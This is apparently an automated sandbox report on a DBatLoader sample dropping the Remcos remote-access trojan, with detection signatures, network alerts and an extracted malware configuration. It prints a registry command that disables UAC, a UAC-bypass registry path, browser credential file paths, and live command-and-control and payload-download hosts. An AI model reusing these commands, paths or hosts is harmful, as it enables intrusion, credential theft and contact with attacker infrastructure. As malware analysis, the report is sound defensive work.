13.2.colorcpl.exe.2c00000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x635e4:$str_a1: C:\Windows\System32\cmd.exe 0x63560:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63560:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x62a10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63248:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6260c:$str_b2: Executing file: 0x63728:$str_b3: GetDirectListeningPort 0x63008:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63230:$str_b7: \update.vbs 0x62634:$str_b9: Downloaded file: 0x62620:$str_b10: Downloading file: 0x626c4:$str_b12: Failed to upload file: 0x636f0:$str_b13: StartForward 0x63710:$str_b14: StopForward 0x631d8:$str_b15: fso.DeleteFile " 0x6316c:$str_b16: On Error Resume Next 0x63208:$str_b17: fso.DeleteFolder " 0x626b4:$str_b18: Uploaded file: 0x62674:$str_b19: Unable to delete: 0x631a0:$str_b20: while fso.FileExists(" 0x62b49:$str_c0: [Firefox StoredLogins not found]
13.2.colorcpl.exe.2c00000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x62500:$s1: \Classes\mscfile\shell\open\command 0x62560:$s1: \Classes\mscfile\shell\open\command 0x62548:$s2: eventvwr.exe
0.2.SEPTobn3BR.exe.2b80000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.SEPTobn3BR.exe.2b80000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.SEPTobn3BR.exe.2b80000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.SEPTobn3BR.exe.2b80000.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0xc8c6c:$a1: Remcos restarted by watchdog! 0xc91c4:$a3: %02i:%02i:%02i:%03i 0xc9549:$a4: * Remcos v
0.2.SEPTobn3BR.exe.2b80000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0xc2b8c:$s1: \Classes\mscfile\shell\open\command 0xc2bec:$s1: \Classes\mscfile\shell\open\command 0xc2bd4:$s2: eventvwr.exe
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\SEPTobn3BR.exe, ProcessId: 7648, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Emxwenem.PIF, NewProcessName: C:\Users\Public\Libraries\Emxwenem.PIF, OriginalFileName: C:\Users\Public\Libraries\Emxwenem.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ProcessId: 8112, ProcessName: Emxwenem.PIF

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\SEPTobn3BR.exe, ProcessId: 7648, TargetFilename: C:\Windows \SysWOW64\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Emxwenem.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SEPTobn3BR.exe, ProcessId: 7648, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emxwenem

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ParentImage: C:\Users\Public\Libraries\Emxwenem.PIF, ParentProcessId: 8112, ParentProcessName: Emxwenem.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: Suspicious Creation with Colorcpl

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 7920, TargetFilename: C:\Users\user

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Emxwenem.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SEPTobn3BR.exe, ProcessId: 7648, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emxwenem

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Emxwenem.PIF, NewProcessName: C:\Users\Public\Libraries\Emxwenem.PIF, OriginalFileName: C:\Users\Public\Libraries\Emxwenem.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ProcessId: 8112, ProcessName: Emxwenem.PIF

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 7920, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:00:24.178681+0100	2028371	3	Unknown Traffic	192.168.2.7	49710	103.82.231.117	443	TCP

ET JA3 Hash - Remcos 3.x/4.x TLS Connection

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:00:30.775132+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.7	49725	185.174.103.111	2404	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:00:33.888987+0100	2803304	3	Unknown Traffic	192.168.2.7	49736	178.237.33.50	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SEPTobn3BR.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\Emxwenem.PIF

Avira: detection malicious, Label: HEUR/AGEN.1326052

Found malware configuration

Source: SEPTobn3BR.exe	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://www.maan2u.com/docs/233_Emxwenemixg"]}
Source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": ["185.174.103.111:2404:1", "185.174.103.111:2468:1", "apostlejob2.duckdns.org:2468:1", "apostlejob2.duckdns.org:2404:1"], "Assigned name": "Big Money 1", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Rmc-3W4HX7", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Emxwenem.PIF

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: SEPTobn3BR.exe	Virustotal: Detection: 66%			Perma Link
Source: SEPTobn3BR.exe	ReversingLabs: Detection: 55%

Yara detected Remcos RAT

Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Emxwenem.PIF

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SEPTobn3BR.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C15EC CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		5_2_030C15EC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C15EC CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		10_2_029C15EC

Source: SEPTobn3BR.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: SEPTobn3BR.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 103.82.231.117:443 -> 192.168.2.7:49710 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.00000000209F6000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F110000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.00000000209F6000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F110000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1518883152.0000000000843000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1518883152.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007EE000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B858B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B858B4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	5_2_0309838E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	5_2_0309B28E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030AA01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	5_2_030AA01B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030987A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	5_2_030987A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030DBA59 FindFirstFileExA,	5_2_030DBA59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	5_2_0309AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A7AAB FindFirstFileW,FindNextFileW,FindNextFileW,	5_2_030A7AAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_03097848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	5_2_03097848
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030968CD FindFirstFileW,FindNextFileW,	5_2_030968CD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	5_2_0309AC78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	10_2_0299B28E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_2_0299838E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029AA01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	10_2_029AA01B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029987A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_2_029987A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A7AAB FindFirstFileW,FindNextFileW,FindNextFileW,	10_2_029A7AAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029DBA59 FindFirstFileExA,	10_2_029DBA59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	10_2_0299AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029968CD FindFirstFileW,FindNextFileW,	10_2_029968CD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_02997848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	10_2_02997848
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	10_2_0299AC78

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_03096D28 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

5_2_03096D28

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49725 -> 185.174.103.111:2404

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://www.maan2u.com/docs/233_Emxwenemixg
Source: Malware configuration extractor	URLs: apostlejob2.duckdns.org
Source: Malware configuration extractor	URLs: apostlejob2.duckdns.org
Source: Malware configuration extractor	IPs: 185.174.103.111
Source: Malware configuration extractor	IPs: 185.174.103.111

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B9E2F8 InternetCheckConnectionA,

0_2_02B9E2F8

Source: global traffic

TCP traffic: 192.168.2.7:49725 -> 185.174.103.111:2404

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Source: Joe Sandbox View	ASN Name: GIGABIT-MYGigabitHostingSdnBhdMY GIGABIT-MYGigabitHostingSdnBhdMY

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49710 -> 103.82.231.117:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49736 -> 178.237.33.50:80

Source: global traffic

HTTP traffic detected: GET /docs/233_Emxwenemixg HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.maan2u.com

Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.103.111
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A936B InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

5_2_030A936B

Source: global traffic	HTTP traffic detected: GET /docs/233_Emxwenemixg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.maan2u.com
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.maan2u.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or 